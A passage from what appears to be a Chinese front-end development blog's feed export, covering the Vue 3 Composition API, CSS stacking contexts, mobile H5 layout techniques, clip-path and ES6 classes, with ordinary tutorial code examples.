,该属性指向内部被包装的值。包装对象的值可以被直接修改。 123456789101112131415&lt;script&gt;import &#123; ref &#125; from '@vue/composition-api'export default &#123; setup() &#123; const count = ref(0) console.log('count.value: ', count.value) count.value++ // 直接修改包装对象的值 console.log('count.value: ', count.value) &#125;&#125;// 打印结果:// count.value: 0// count.value: 1&lt;/script&gt; 当包装对象被暴露给模版渲染上下文,或是被嵌套在另一个响应式对象中的时候,它会被自动展开 (unwrap) 为内部的值: 1234567891011121314151617&lt;template&gt; &lt;div&gt;ref count: &#123;&#123;count&#125;&#125;&lt;/div&gt;&lt;/template&gt;&lt;script&gt;import &#123; ref &#125; from '@vue/composition-api'export default &#123; setup() &#123; const count = ref(0) console.log('count.value: ', count.value) return &#123; count // 包装对象 value 属性自动展开 &#125; &#125;&#125;&lt;/script&gt; 也可以用 ref() 包装对象作为 reactive() 创建的对象的属性值,同样属性值 ref() 包装对象也会模版上下文被展开: 1234567891011121314151617&lt;template&gt; &lt;div&gt;reactive ref count: &#123;&#123;state.count&#125;&#125;&lt;/div&gt;&lt;/template&gt;&lt;script&gt;import &#123; reactive, ref &#125; from '@vue/composition-api'export default &#123; setup() &#123; const count = ref(0) const state = reactive(&#123;count&#125;) return &#123; state // 包装对象 value 属性自动展开 &#125; &#125;&#125;&lt;/script&gt; 在 Vue 2.x 中用实例上的 $refs 属性获取模版元素中 ref 属性标记 DOM 或组件信息,在这里用 ref() 包装对象也可以用来引用页面元素和组件; 123456789101112131415161718192021&lt;template&gt; &lt;div&gt;&lt;p ref="text"&gt;Hello&lt;/p&gt;&lt;/div&gt;&lt;/template&gt;&lt;script&gt;import &#123; ref &#125; from '@vue/composition-api'export default &#123; setup() &#123; const text = ref(null) setTimeout(() =&gt; &#123; console.log('text: ', text.value.innerHTML) &#125;, 1000) return &#123; text &#125; &#125;&#125;// 打印结果:// text: Hello&lt;/script&gt; unref()如果参数是一个 ref 则返回它的 value,否则返回参数本身。它是 val = isRef(val) ? val.value : val 的语法糖。 isref()检查一个值是否为一个 ref 对象。 toRefs()把一个响应式对象转换成普通对象,该普通对象的每个 property 都是一个 ref ,和响应式对象 property 一一对应。并且,当想要从一个组合逻辑函数中返回响应式对象时,用 toRefs 是很有效的,该 API 让消费组件可以 解构 / 扩展(使用 ... 操作符)返回的对象,并不会丢失响应性: 123456789101112131415161718192021222324252627&lt;template&gt; &lt;div&gt; &lt;p&gt;count: &#123;&#123;count&#125;&#125;&lt;/p&gt; &lt;button @click="increment"&gt;+1&lt;/button&gt; &lt;/div&gt;&lt;/template&gt;&lt;script&gt;import &#123; reactive, toRefs &#125; from '@vue/composition-api'export default &#123; setup() &#123; const state = reactive(&#123; count: 0 &#125;) const increment = () =&gt; &#123; state.count++ &#125; return &#123; ...toRefs(state), // 解构出来不丢失响应性 increment &#125; &#125;&#125;&lt;/script&gt; computed()computed() 用来创建计算属性,computed() 函数的返回值是一个 ref 的实例。这个值模式是只读的: 123456789101112131415import &#123; ref, computed &#125; from '@vue/composition-api'export default &#123; setup() &#123; const count = ref(0) const plusOne = computed(() =&gt; count.value + 1) plusOne.value = 10 console.log('plusOne.value: ', plusOne.value) console.log('count.value: ', count.value) &#125;&#125;// 打印结果:// [Vue warn]: Computed property was assigned to but it has no setter.// plusOne.value: 1// count.value: 0 或者传入一个拥有 get 和 set 函数的对象,创建一个可手动修改的计算状态: 12345678910111213141516171819import &#123; ref, computed &#125; from '@vue/composition-api'export default &#123; setup() &#123; const count = ref(0) const plusOne = computed(&#123; get: () =&gt; count.value + 1, set: val =&gt; &#123; count.value = val - 1 &#125; &#125;) plusOne.value = 10 console.log('plusOne.value: ', plusOne.value) console.log('count.value: ', count.value) &#125;&#125;// 打印结果:// plusOne.value: 10// count.value: 9 watchEffect()watchEffect() 监测副作用函数。立即执行传入的一个函数,并响应式追踪其依赖,并在其依赖变更时重新运行该函数: 12345678910111213141516171819202122232425262728&lt;template&gt; &lt;div&gt; &lt;p&gt;count: &#123;&#123;count&#125;&#125;&lt;/p&gt; &lt;button @click="increment"&gt;+1&lt;/button&gt; &lt;/div&gt;&lt;/template&gt;&lt;script&gt;import &#123; ref, watchEffect &#125; from '@vue/composition-api'export default &#123; setup() &#123; // 监视 ref 数据源 const count = ref(0) // 监视依赖有变化,立刻执行 watchEffect(() =&gt; &#123; console.log('count.value: ', count.value) &#125;) const increment = () =&gt; &#123; count.value++ &#125; return &#123; count, increment &#125; &#125;&#125;&lt;/script&gt; 停止侦听。当 watchEffect 在组件的 setup() 函数或生命周期钩子被调用时, 侦听器会被链接到该组件的生命周期,并在组件卸载时自动停止。 在一些情况下(比如超时就无需继续监听变化),也可以显式调用返回值以停止侦听: 123456789101112131415161718192021222324252627282930313233&lt;template&gt; &lt;div&gt; &lt;p&gt;count: &#123;&#123;state.count&#125;&#125;&lt;/p&gt; &lt;button @click="increment"&gt;+1&lt;/button&gt; &lt;/div&gt;&lt;/template&gt;&lt;script&gt;import &#123; reactive, watchEffect &#125; from '@vue/composition-api'export default &#123; setup() &#123; // 监视 reactive 数据源 const state = reactive(&#123; count: 0 &#125;) const stop = watchEffect(() =&gt; &#123; console.log('state.count: ', state.count) &#125;) setTimeout(() =&gt; &#123; stop() &#125;, 3000) const increment = () =&gt; &#123; state.count++ &#125; return &#123; state, increment &#125; &#125;&#125;// 3秒后,点击+1按钮不再打印&lt;/script&gt; 清除副作用。有时候当观察的数据源变化后,我们可能需要对之前所执行的副作用进行清理。举例来说,一个异步操作在完成之前数据就产生了变化,我们可能要撤销还在等待的前一个操作。为了处理这种情况,watchEffect 的回调会接收到一个参数是用来注册清理操作的函数。调用这个函数可以注册一个清理函数。清理函数会在下属情况下被调用: 副作用即将重新执行时 侦听器被停止 (如果在 setup() 或 生命周期钩子函数中使用了 watchEffect, 则在卸载组件时) 我们之所以是通过传入一个函数去注册失效回调,而不是从回调返回它(如 React useEffect 中的方式),是因为返回值对于异步错误处理很重要。 1234const data = ref(null)watchEffect(async (id) =&gt; &#123; data.value = await fetchData(id)&#125;) async function 隐性地返回一个 Promise - 这样的情况下,我们是无法返回一个需要被立刻注册的清理函数的。除此之外,回调返回的 Promise 还会被 `Vue 用于内部的异步错误处理。 在实际应用中,在大于某个频率(请求 padding状态)操作时,可以先取消之前操作,节约资源: 12345678910111213141516171819202122232425262728293031323334353637&lt;template&gt; &lt;div&gt; &lt;input type="text" v-model="keyword"&gt; &lt;/div&gt;&lt;/template&gt;&lt;script&gt;import &#123; ref, watchEffect &#125; from '@vue/composition-api'export default &#123; setup() &#123; const keyword = ref('') const asyncPrint = val =&gt; &#123; return setTimeout(() =&gt; &#123; console.log('user input: ', val) &#125;, 1000) &#125; watchEffect( onInvalidate =&gt; &#123; const timer = asyncPrint(keyword.value) onInvalidate(() =&gt; clearTimeout(timer)) console.log('keyword change: ', keyword.value) &#125;, &#123; flush: 'post' // 默认'post',同步'sync','pre'组件更新之前 &#125; ) return &#123; keyword &#125; &#125;&#125;// 实现对用户输入“防抖”效果&lt;/script&gt; watch()watch API 完全等效于 2.x this.$watch (以及 watch 中相应的选项)。watch 需要侦听特定的数据源,并在回调函数中执行副作用。默认情况是懒执行的,也就是说仅在侦听的源变更时才执行回调。 watch() 接收的第一个参数被称作 “数据源”,它可以是: 一个返回任意值的函数 一个包装对象 一个包含上述两种数据源的数组 第二个参数是回调函数。回调函数只有当数据源发生变动时才会被触发: 123456789101112watch( // getter () =&gt; count.value + 1, // callback (value, oldValue) =&gt; &#123; console.log('count + 1 is: ', value) &#125;)// -&gt; count + 1 is: 1count.value++// -&gt; count + 1 is: 2 上面提到第一个参数的“数据源”可以是一个包含函数和包装对象的数组,也就是可以同时监听多个数据源。同时,watch 和 watchEffect 在停止侦听, 清除副作用 (相应地 onInvalidate 会作为回调的第三个参数传入),等方面行为一致。下面用上面“防抖”例子用 watch 改写: 1234567891011121314151617181920212223242526272829303132333435&lt;template&gt; &lt;div&gt; &lt;input type="text" v-model="keyword"&gt; &lt;/div&gt;&lt;/template&gt;&lt;script&gt;import &#123; ref, watch &#125; from '@vue/composition-api'export default &#123; setup() &#123; const keyword = ref('') const asyncPrint = val =&gt; &#123; return setTimeout(() =&gt; &#123; console.log('user input: ', val) &#125;) &#125; watch( keyword, (newVal, oldVal, onCleanUp) =&gt; &#123; const timer = asyncPrint(keyword) onCleanUp(() =&gt; clearTimeout(timer)) &#125;, &#123; lazy: true // 默认未false,即初始监听回调函数执行了 &#125; ) return &#123; keyword &#125; &#125;&#125;&lt;/script&gt; 和 2.x 的 $watch 有所不同的是,watch() 的回调会在创建时就执行一次。这有点类似 2.x watcher 的 immediate: true 选项,但有一个重要的不同:默认情况下 watch() 的回调总是会在当前的 renderer flush 之后才被调用 —— 换句话说,watch()的回调在触发时,DOM 总是会在一个已经被更新过的状态下。 这个行为是可以通过选项来定制的。 在 2.x 的代码中,我们经常会遇到同一份逻辑需要在 mounted 和一个 watcher 的回调中执行(比如根据当前的 id 抓取数据),3.0 的 watch() 默认行为可以直接表达这样的需求。 生命周期钩子函数可以直接导入 onXXX 一族的函数来注册生命周期钩子。 123456789101112131415import &#123; onMounted, onUpdated, onUnmounted &#125; from '@vue/composition-api'const MyComponent = &#123; setup() &#123; onMounted(() =&gt; &#123; console.log('mounted!') &#125;) onUpdated(() =&gt; &#123; console.log('updated!') &#125;) onUnmounted(() =&gt; &#123; console.log('unmounted!') &#125;) &#125;,&#125; 这些生命周期钩子注册函数只能在 setup() 期间同步使用, 因为它们依赖于内部的全局状态来定位当前组件实例(正在调用 setup() 的组件实例), 不在当前组件下调用这些函数会抛出一个错误。 组件实例上下文也是在生命周期钩子同步执行期间设置的,因此,在卸载组件时,在生命周期钩子内部同步创建的侦听器和计算状态也将自动删除。 2.x 的生命周期函数与新版 Composition API 之间的映射关系: beforeCreate -&gt; 使用 setup() created -&gt; 使用 setup() beforeMount -&gt; onBeforeMount mounted -&gt; onMounted beforeUpdate -&gt; onBeforeUpdate updated -&gt; onUpdated beforeDestroy -&gt; onBeforeUnmount destroyed -&gt; onUnmounted errorCaptured -&gt; onErrorCaptured 注意:beforeCreate 和 created 在 Vue3 中已经由 setup 替代。 依赖注入provide 和 inject 提供依赖注入,功能类似 2.x 的 provide/inject。两者都只能在当前活动组件实例的 setup() 中调用。 可以使用 ref 来保证 provided 和 injected 之间值的响应。 父依赖注入,作为提供者,传给子组件: 123456789101112131415161718import &#123; ref, provide &#125; from '@vue/composition-api'import ComParent from './ComParent.vue'export default &#123; components: &#123; ComParent &#125;, setup() &#123; let treasure = ref('传国玉玺') provide('treasure', treasure) setTimeout(() =&gt; &#123; treasure.value = '尚方宝剑' &#125;, 1000) return &#123; treasure &#125; &#125;&#125; 子依赖注入,可作为使用者: 1234567891011121314import &#123; inject &#125; from '@vue/composition-api'import ComChild from './ComChild.vue'export default &#123; components: &#123; ComChild &#125;, setup() &#123; const treasure = inject('treasure') return &#123; treasure &#125; &#125;&#125; 孙组件依赖注入,作为使用者使用,当祖级依赖传入的值改变时,也能响应: 12345678import &#123; inject &#125; from '@vue/composition-api'export default &#123; setup() &#123; const treasure = inject('treasure') console.log('treasure: ', treasure) &#125;&#125; 缺点/潜在问题 新的 API 使得动态地检视/修改一个组件的选项变得更困难(原来是一个对象,现在是一段无法被检视的函数体)。 这可能是一件好事,因为通常在用户代码中动态地检视/修改组件是一类比较危险的操作,对于运行时也增加了许多潜在的边缘情况(特别是组件继承和使用 mixin 的情况下)。新 API 的灵活性应该在绝大部分情况下都可以用更显式的代码达成同样的结果。 缺乏经验的用户可能会写出 “面条代码”,因为新 API 不像旧 API 那样强制将组件代码基于选项切分开来。 基于函数的新 API 和基于选项的旧 API 之间的最大区别,就是新 API 让抽取逻辑变得非常简单 —— 就跟在普通的代码中抽取函数一样。也就是说,我们不必只在需要复用逻辑的时候才抽取函数,也可以单纯为了更好地组织代码去抽取函数。 基于选项的代码只是看上去更整洁。一个复杂的组件往往需要同时处理多个不同的逻辑任务,每个逻辑任务所涉及的代码在选项 API 下是被分散在多个选项之中的。举例来说,从服务端抓取一份数据,可能需要用到 props, data(), mounted 和 watch。极端情况下,如果我们把一个应用中所有的逻辑任务都放在一个组件里,这个组件必然会变得庞大而难以维护,因为每个逻辑任务的代码都被选项切成了多个碎片分散在各处。 对比之下,基于函数的 API 让我们可以把每个逻辑任务的代码都整理到一个对应的函数中。当我们发现一个组件变得过大时,我们会将它切分成多个更小的组件;同样地,如果一个组件的 setup() 函数变得很复杂,我们可以将它切分成多个更小的函数。而如果是基于选项,则无法做到这样的切分,因为用 mixin 只会让事情变得更糟糕。 总结Vue 3.0 的 API 的调整其实并不大,熟悉 2.x 的童鞋就会有一种似曾相识的感觉,过渡成本极小。更多是源码层面的重构,让其更好用(从选项式到函数式,基于 typescript 重写,强制类型检查和提示补全),性能更强(重写了虚拟 Dom 的实现,采用原生 Proxy 监听)。 本文案例代码可以戳这里 本文参考了: Vue Function-based API RFCVue Composition API抄笔记:尤雨溪在Vue3.0 Beta直播里聊到了这些…完~]]></content>
<tags>
<tag>javascript</tag>
<tag>vue</tag>
</tags>
</entry>
<entry>
<title><![CDATA[CSS中层叠上下文进来了解一下?]]></title>
<url>%2F2020%2F01%2F07%2Fstacking-context-order%2F</url>
<content type="text"><![CDATA[前言在有些 CSS 相互影响作用下,对元素设置的 z-index 并不会按实际大小叠加,一直不明白其中的原理,最近特意查了一下相关资料,做一个小总结。那么,现在就开始。 层叠上下文与层叠顺序层叠上下文(stacking content)是 HTML 中的三维概念,也就是元素z轴。层叠顺序(stacking order)表示层叠时有着特定的垂直显示顺序。 层叠准则 谁大谁上 当具有明显的层叠水平标示的时候,如识别的 z-indx 值,在同一个层叠上下文领域,层叠水平值大的那一个覆盖小的那一个。 后来居上 当元素的层叠水平一致、层叠顺序相同的时候,在DOM流中处于后面的元素会覆盖前面的元素。 层叠上下文的特性层叠上下文有以下特性: 层叠上下文的层叠水平要比普通元素高; 层叠上下文可以阻断元素的混合模式; 层叠上下文可以嵌套,内部层叠上下文及其所有子元素均受制于外部的层叠上下文; 每个层叠上下文和兄弟元素独立,也就是当进行层叠变化或渲染的时候,只需考虑后代元素; 每个层叠上下文是自成体系的,当元素发生层叠的时候,整个元素被认为是在父层叠上下文的叠层顺序中; z-index 值不是 auto 的时候,会创建层叠上下文对于包含 position: relative; position: absolute; 的定位元素,以及 FireFox/IE浏览器下包含 position声明定位的元素,当其 z-index 值不是 auto 的时候,会创建层叠上下文。 HTML 代码 1234567&lt;div class="red-wrapper"&gt; &lt;div class="red"&gt;小红&lt;/div&gt;&lt;/div&gt;&lt;div class="gray-wrapper"&gt; &lt;div class="gray"&gt;小灰&lt;/div&gt;&lt;/div&gt; CSS代码 123456789101112131415161718192021222324252627.red-wrapper &#123; position: relative; z-index: auto;&#125;.red &#123; position: absolute; z-index: 2; width: 300px; height: 200px; text-align: center; background-color: brown;&#125;.gray-wrapper &#123; position: relative; z-index: auto;&#125;.gray &#123; position: relative; z-index: 1; width: 200px; height: 300px; text-align: center; background-color: gray;&#125; 当两个兄弟元素 z-index 都为 auto 时,它们为普通元素,子元素遵循”谁大谁上“的原则,所以小灰 z-index: 1; 输给了小红的 z-index: 2;,被压在了下面 然而当 z-index 变成数值时,就会创建一个层叠上下文,各个层叠元素相互独立,子元素受制于父元素的层叠顺序。将兄弟元素的 z-index 从 auto 变成了数值 0,他们的子元素的之间的层叠关系就不不受本身 z-index 的影响,而是由父级元素的 z-index 决定。 下面小红和小灰的父级的 z-index 都调整成 0 123456789.red-wrapper &#123; /* 其他样式 */ z-index: 0;&#125;.gray-wrapper &#123; /* 其他样式 */ z-index: 0;&#125; 就会发现小灰在小红的上面了,因为小灰的父级和小红的父级都变成了层叠上下文元素,层叠级别一样,根据文档流中元素位置”后来居上“原则。 CSS3对层叠上下文的影响display: flex|inline-flex 与层叠上下文 父级是 display: flex 或者 display: inline-flex;,子元素的 z-index 不是 auto,此时,这个子元素(注意这里是子元素)为层叠上下文元素。 HTML 代码 123456&lt;div class="wrapper"&gt; &lt;div class="gray"&gt; 小灰 &lt;div class="red"&gt;小红&lt;/div&gt; &lt;/div&gt;&lt;/div&gt; CSS代码 1234567891011121314151617181920.wrapper &#123; display: flex;&#125;.gray &#123; z-index: 1; width: 200px; height: 300px; text-align: center; background-color: gray;&#125;.red &#123; z-index: -1; width: 300px; height: 200px; text-align: center; background-color: brown; position: relative;&#125; 这样,由于小灰的父级的 display: flex;,自身的 z-index 不为 auto,因此变成了层叠上下文元素,原本小红垫底变成了小灰垫底了。 mix-blend-mode 与层叠上下文 具有 mix-blend-mode 属性的元素是层叠上下文元素 CSS 属性mix-blend-mode(混合模式),可以将叠加的元素的内容和背景混合在一起。 代码同上,只需在小灰上添加 mix-blend-mode 属性,为了能查看到混合效果,将外面容器增加一个背景图。 12345678.wrapper &#123; background-image: url("./jz.png");&#125;.gray &#123; /* 其他样式 */ mix-blend-mode: darken;&#125; 同理,小灰有 mix-blend-mode 属性,变成了层叠上下文元素,让小灰垫底。 opacity 与层叠上下文 如果元素的 opacity 不为1,这个元素为层叠上下文元素 HTML 代码 1234&lt;div class="gray"&gt; 小灰 &lt;div class="red"&gt;小红&lt;/div&gt;&lt;/div&gt; CSS代码 1234567891011121314151617.gray &#123; z-index: 1; width: 200px; height: 300px; text-align: center; background-color: gray; opacity: 0.5;&#125;.red &#123; z-index: -1; width: 300px; height: 200px; text-align: center; background-color: brown; position: relative;&#125; 由于小灰自身有 opacity 半透明属性,变成了层叠上下文元素,使得小红 z-index: -1;也无法穿透。 transform 与层叠上下文 应用了 transform 的元素为层叠上下文元素 代码同上,只不过把小灰应用 transform 变换。 1234.gray &#123; /* 其他相关样式 */ transform: rotate(30deg);&#125; 同理,小灰应用 transform 变换,变成了层叠上下文元素,使得小红 z-index: -1;也无法穿透。 filter 与层叠上下文 具有 filter 属性的元素是层叠上下文元素 代码同上,只不过把小灰加上 filter 属性。 1234.gray &#123; /* 其他相关样式 */ filter: blur(5px);;&#125; 同理,小灰有 filter 属性,变成了层叠上下文元素,使得小红 z-index: -1; 还是在小灰上层。 will-change 与层叠上下文 具有 will-change 属性的元素是层叠上下文元素 代码同上,只不过把小灰加上 will-change 属性。 1234.gray &#123; /* 其他相关样式 */ filter: will-change;;&#125; 结果,同理如上。 总结综合来看元素层叠规则,首先要理解在什么情况下元素是层叠上下文元素 含有定位属性 position: relative|absolute|fixed;,且 z-index 不为 auto(webkit 内核浏览器,fixed 定位无此限制)的元素是层叠上下文元素; 元素有一些 CSS3 属性,可以变成层叠上下文元素: 父级是 display: flex|inline-flex; 子元素的 z-index 不是 auto,此时,这个子元素(注意这里是子元素)为层叠上下文元素 具有 mix-blend-mode 属性的元素 opacity 属性不为1的元素 有 transform 变换的元素 具有 filter 属性的元素 具有 will-change 属性的元素 其次要理解叠层准则:”谁大谁上“,”后来居上“,最后就是要了解层叠上下文主要特性(详见文章层叠上下文的特性)。完~]]></content>
<tags>
<tag>css</tag>
</tags>
</entry>
<entry>
<title><![CDATA[移动端开发中的一些解决方案]]></title>
<url>%2F2019%2F11%2F11%2Fsome-solutions-in-h5%2F</url>
<content type="text"><![CDATA[H5 调用系统某些功能1234567891011121314151617&lt;!-- 拨号 --&gt;&lt;a href="tel:10086"&gt;打电话给: 10086&lt;/a&gt;&lt;!-- 发送短信 --&gt;&lt;a href="sms:10086"&gt;发短信给: 10086&lt;/a&gt;&lt;!-- 发送邮件 --&gt;&lt;a href="mailto:example@qq.com"&gt;example@qq.com&lt;/a&gt;&lt;!-- 选择照片或者拍摄照片 --&gt;&lt;input type="file" accept="image/*" /&gt;&lt;!-- 选择视频或者拍摄视频 --&gt;&lt;input type="file" accept="video/*" /&gt;&lt;!-- 多选 --&gt;&lt;input type="file" multiple /&gt; URL Scheme 页面唤醒 app12345 行为(应用的某个功能/页面) |scheme://[path][?query] | |应用标识 功能需要的参数 忽略自动识别12345&lt;!-- 忽略浏览器自动识别数字为电话号码 --&gt;&lt;meta name="format-detection" content="telephone=no" /&gt;&lt;!-- 忽略浏览器自动识别邮箱账号 --&gt;&lt;meta name="format-detection" content="email=no" /&gt; 禁止长按12345678910/* 禁止长按图片保存 */img &#123; -webkit-touch-callout: none; pointer-events: none;&#125;/* 禁止长按选择文字 */div &#123; -webkit-user-select: none;&#125; 屏幕旋转为横屏,字体大小会变123body &#123; -webkit-text-size: 100%;&#125; 最简单的 rem 自适应1234567html &#123; font-size: calc(100vw / 7.5);&#125;body &#123; font-size: 0.14rem;&#125; 通过 js 去动态计算根元素的 font-size,这样所有设备分辨率都能兼容适应1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162//designWidth:设计稿的实际宽度值,需要根据实际设置//maxWidth:制作稿的最大宽度值,需要根据实际设置//这段js的最后面有两个参数记得要设置,一个为设计稿实际宽度,一个为制作稿最大宽度,例如设计稿为750,最大宽度为750,则为(750,750);(function (designWidth, maxWidth) &#123; var doc = document, win = window, docEl = doc.documentElement, remStyle = document.createElement('style'), tid function refreshRem() &#123; var width = docEl.getBoundingClientRect().width maxWidth = maxWidth || 540 width &gt; maxWidth &amp;&amp; (width = maxWidth) var rem = (width * 100) / designWidth remStyle.innerHTML = 'html&#123;font-size:' + rem + 'px;&#125;' &#125; if (docEl.firstElementChild) &#123; docEl.firstElementChild.appendChild(remStyle) &#125; else &#123; var wrap = doc.createElement('div') wrap.appendChild(remStyle) doc.write(wrap.innerHTML) wrap = null &#125; //要等 wiewport 设置好后才能执行 refreshRem,不然 refreshRem 会执行2次; refreshRem() win.addEventListener( 'resize', function () &#123; clearTimeout(tid) //防止执行两次 tid = setTimeout(refreshRem, 300) &#125;, false ) win.addEventListener( 'pageshow', function (e) &#123; if (e.persisted) &#123; // 浏览器后退的时候重新计算 clearTimeout(tid) tid = setTimeout(refreshRem, 300) &#125; &#125;, false ) if (doc.readyState === 'complete') &#123; doc.body.style.fontSize = '16px' &#125; else &#123; doc.addEventListener( 'DOMContentLoaded', function (e) &#123; doc.body.style.fontSize = '16px' &#125;, false ) &#125;&#125;)(640, 750) 当然也可以用 media query 设置适配集中主流的屏幕尺寸12345678910111213141516171819202122232425262728html &#123; font-size: 20px;&#125;@media only screen and (min-width: 401px) &#123; html &#123; font-size: 25px !important; &#125;&#125;@media only screen and (min-width: 428px) &#123; html &#123; font-size: 26.75px !important; &#125;&#125;@media only screen and (min-width: 481px) &#123; html &#123; font-size: 30px !important; &#125;&#125;@media only screen and (min-width: 569px) &#123; html &#123; font-size: 35px !important; &#125;&#125;@media only screen and (min-width: 641px) &#123; html &#123; font-size: 40px !important; &#125;&#125; 提供一个移动端 base.css123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176body,dl,dd,ul,ol,h1,h2,h3,h4,h5,h6,pre,form,input,textarea,p,hr,thead,tbody,tfoot,th,td &#123; margin: 0; padding: 0;&#125;ul,ol &#123; list-style: none;&#125;a &#123; text-decoration: none;&#125;html &#123; -ms-text-size-adjust: none; -webkit-text-size-adjust: none; text-size-adjust: none;&#125;body &#123; line-height: 1.5; font-size: 14px;&#125;body,button,input,select,textarea &#123; font-family: 'helvetica neue', tahoma, 'hiragino sans gb', stheiti, 'wenquanyi micro hei', \5FAE\8F6F\96C5\9ED1, \5B8B\4F53, sans-serif;&#125;b,strong &#123; font-weight: bold;&#125;i,em &#123; font-style: normal;&#125;table &#123; border-collapse: collapse; border-spacing: 0;&#125;table th,table td &#123; border: 1px solid #ddd; padding: 5px;&#125;table th &#123; font-weight: inherit; border-bottom-width: 2px; border-bottom-color: #ccc;&#125;img &#123; border: 0 none; width: auto\9; max-width: 100%; vertical-align: top; height: auto;&#125;button,input,select,textarea &#123; font-family: inherit; font-size: 100%; margin: 0; vertical-align: baseline;&#125;button,html input[type='button'],input[type='reset'],input[type='submit'] &#123; -webkit-appearance: button; cursor: pointer;&#125;button[disabled],input[disabled] &#123; cursor: default;&#125;input[type='checkbox'],input[type='radio'] &#123; box-sizing: border-box; padding: 0;&#125;input[type='search'] &#123; -webkit-appearance: textfield; -moz-box-sizing: content-box; -webkit-box-sizing: content-box; box-sizing: content-box;&#125;input[type='search']::-webkit-search-decoration &#123; -webkit-appearance: none;&#125;input:focus &#123; outline: none;&#125;select[size],select[multiple],select[size][multiple] &#123; border: 1px solid #aaa; padding: 0;&#125;article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary &#123; display: block;&#125;audio,canvas,video,progress &#123; display: inline-block;&#125;body &#123; background: #fff;&#125;input::-webkit-input-speech-button &#123; display: none;&#125;button,input,textarea &#123; -webkit-tap-highlight-color: rgba(0, 0, 0, 0);&#125; 几种适配方案 百分比; 媒体查询 @media-query; flexible 方案:rem+dpr 动态设置根节点 font-size 大小,结合设置 meta 标签的 scale 缩放; flexible 的缺陷:video 标签的视频播放器样式在不同 dpr 设备展示差异大;针对安卓 dpr 按 1 处理;不兼容媒体查询; viewport 方案:无须根据宽口宽度动态设置根元素字体大小,使用 postcss-px-to-viewport 对 px 转换为 vw; 安全区域:不受圆角(corners)、齐刘海(sensor housing)、小黑条(home indicator)影响; viewport meta 标签拓展 viewport-fit=cover/contain/auto 表示可视窗口内容覆盖/包含网页内容; safe-area-inset-left/right/top/bottom 安全区域距离边界距离,使用方法比如 padding-bottom:env(safe-area-inset-bottom);;]]></content>
<categories>
<category>mobile</category>
</categories>
<tags>
<tag>css</tag>
<tag>html</tag>
<tag>js</tag>
</tags>
</entry>
<entry>
<title><![CDATA[draw-ring]]></title>
<url>%2F2019%2F11%2F06%2Fdraw-ring%2F</url>
<content type="text"><![CDATA[clip-path 创建一个只有元素的部分区域可以显示的裁剪区域。区域内的部分显示,区域外的隐藏。裁剪区域是被引用内嵌的 URL 定义的路径或者外部 SVG 的路径,或者作为一个形状,例如 circle()。 clip-path 属性代替了现在已经弃用的剪切 clip 属性。 剪切元素路径 &lt;clip-source&gt; 1clip-path: url(resources.svg#c1); 剪切形状 &lt;basic-shape&gt; 12345678910/* 嵌入 */clip-path: inset(100px 50px);/* 圆形 半径 at 圆心位置 */clip-path: circle(50px at 0 100px);/* 椭圆 半径 at 圆心位置 */clip-path: ellipse(130px 140px at 10% 20%);/* 多边形 各个点的位置 */clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%);/* svg点位置 */clip-path: path('M0.5,1 C0.5,1,0,0.7,0,0.3 A0.25,0.25,1,1,1,0.5,0.3 A0.25,0.25,1,1,1,1,0.3 C1,0.7,0.5,1,0.5,1 Z'); 剪切盒模型 &lt;geometry-box&gt; 1234567clip-path: margin-box;clip-path: border-box;clip-path: padding-box;clip-path: content-box;clip-path: fill-box;clip-path: stroke-box;clip-path: view-box;]]></content>
<tags>
<tag>javascript</tag>
<tag>css</tag>
</tags>
</entry>
<entry>
<title><![CDATA[重学 es6 中的 class]]></title>
<url>%2F2019%2F09%2F06%2Frelearn-es6-class%2F</url>
<content type="text"><![CDATA[123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166class Point &#123; constructor (x, y) &#123; this.x = x; this.y = y; &#125; getPoint () &#123; return '(' + this.x + ', ' + this.y + ')'; &#125;&#125;// 类本身指向构造函数console.log('Point === Point.prototype.constructor: ', Point === Point.prototype.constructor);let point = new Point(1, 2);console.log('point: ', point);// 对象解构可以解构出原型上的属性const &#123; getPoint &#125; = point;console.log('getPoint: ', getPoint)// 类的实例方法其实都是原型上的方法// 实例的 constructor 就是原型上的 constructor 方法console.log('point.constructor === Point.prototype.constructor: ', point.constructor === Point.prototype.constructor)// 类的原型对象上的 constructor 属性指向类本身console.log('Point === Point.prototype.constructor: ', Point === Point.prototype.constructor)// 类内部所有定义的方法,都是不可枚举的console.log('Object.keys(Point.prototype): ', Object.keys(Point.prototype));console.log('Object.getOwnPropertyNames(Point.prototype): ', Object.getOwnPropertyNames(Point.prototype));/** * class Point &#123;&#125; * 等同于 * class Point &#123; * constructor () &#123;&#125; * &#125;**/// constructor 方法默认返回实例对象(即 this )class Foo &#123; constructor () &#123; return Object.create(null); &#125;&#125;console.log('new Foo() instanceof Foo: ', new Foo() instanceof Foo);let p1 = new Point(1, 2);let p2 = new Point(4, 5);console.log('p1.constructor === p2.constructor: ', p1.constructor === p2.constructor);// 类内部可以使用 get 和 set 关键字,对某个属性设置存值和取值函数,拦截该属性的存取行为class MyClass &#123; get prop () &#123; return 'getter'; &#125; set prop (value) &#123; console.log('setter: ', value); &#125;&#125;let inst = new MyClass();inst.prop = 3;console.log('inst.prop: ', inst.prop);// 存值函数和取值函数时定义在 html 属性的描述对象上面class CustomHTMLElement &#123; constructor (element) &#123; this.element = element &#125; get html () &#123; this.element.innerHTML; &#125; set html (value) &#123; this.element.innerHTML = value; &#125;&#125;let descriptor = Object.getOwnPropertyDescriptor(CustomHTMLElement.prototype, 'html');console.log('"get" in descriptor: ', 'get' in descriptor);// printName 方法中的 this ,默认指向 Logger 类的实例,如果将这个方法提取出来单独使用,this 会指向该方法运行时所在的环境// 一个比较简单的解决方法是,在构造方法中绑定 this ,这样就不会找不到 print 方法// 另一种方法是使用箭头函数class Logger &#123; constructor () &#123; this.printName = this.printName.bind(this); // this.printName = (name = 'there') =&gt; this.print(`Hello $&#123;name&#125;`); &#125; printName (name = 'there') &#123; this.print(`Hello $&#123;name&#125;`); &#125; print (text) &#123; console.log(text); &#125;&#125;const logger = new 